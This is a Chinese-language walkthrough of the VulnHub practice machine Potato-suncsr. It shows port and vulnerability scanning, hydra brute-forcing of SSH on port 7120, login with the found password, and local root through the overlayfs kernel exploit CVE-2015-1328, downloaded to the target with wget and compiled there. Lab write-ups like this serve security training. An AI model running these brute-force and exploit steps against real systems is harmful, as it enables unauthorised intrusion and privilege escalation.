Potato-suncsr靶机练习

靶机地址：https://www.vulnhub.com/entry/potato-suncsr-1,556/

一、主机发现+信息收集

主机发现

nmap -sn 192.168.25.0/24

或

arp-scan -l

靶机ip：192.168.25.163

设置环境变量

export ip=192.168.25.163

端口扫描

nmap --min-rate 10000 -p- $ip

PORT     STATE SERVICE
80/tcp   open  http
7120/tcp open  unknown
MAC Address: 00:0C:29:82:3B:39 (VMware)

服务信息收集

nmap -sS -sV -O -p80,7120 $ip

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))
7120/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
MAC Address: 00:0C:29:82:3B:39 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
​
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

脚本扫描

nmap --script=vuln -p80,7120 $ip

PORT     STATE SERVICE
80/tcp   open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check:
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-enum:
|_  /info.php: Possible information file
7120/tcp open  unknown
MAC Address: 00:0C:29:82:3B:39 (VMware)

二、开始渗透测试

访问80端口

静态图片页面，十分的CTF风格

potato

web指纹记录一下

源码查看也是没有什么收获，这里我们直接爆破一下目录

gobuster dir -u http://192.168.25.163/ -w /usr/share/dirbuster/wordlists/medium.txt

没扫到

dirb http://192.168.25.163/

---- Scanning URL: http://192.168.25.163/ ----
+ http://192.168.25.163/index.html (CODE:200|SIZE:654)
+ http://192.168.25.163/info.php (CODE:200|SIZE:87513)
+ http://192.168.25.163/server-status (CODE:403|SIZE:294)

http://192.168.25.163/info.php

我们得到了泄露的phpinfo文件，但其实还是没有什么突破点，现在就只剩下ssh的爆破了

7120端口爆破

hydra爆破ssh ，用户名直接就是potato了目前只有这一条信息

hydra -l potato -P /usr/share/wordlists/john.lst ssh://192.168.25.163:7120

这里我们得到了密码 letmein

三、获得初始权限

我们直接连接ssh 的 7120端口，这里我们用-p参数进行端口指定连接

ssh potato@192.168.25.163 -p 7120

四、提权

id

ip addr

uname -a

Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

内核版本比较低 Linux ubuntu 3.13.0

我们直接去找EXP

searchsploit Linux ubuntu 3.13.0

找到很多我们这里下载第一个

searchsploit -m 37292

因为这个是本地提权的EXP，所以我们需要把这个EXP传到靶机上

攻击机开启服务器

python3 -m http.server 10000

然后到靶机上使用wget进行下载

靶机先到tmp目录中，其他目录没有权限

head -n 20 37292.c

看一下使用说明

# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT
​
user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads

使用gcc 37292.c -o 37292 进行编译

./37292进行执行

成功提权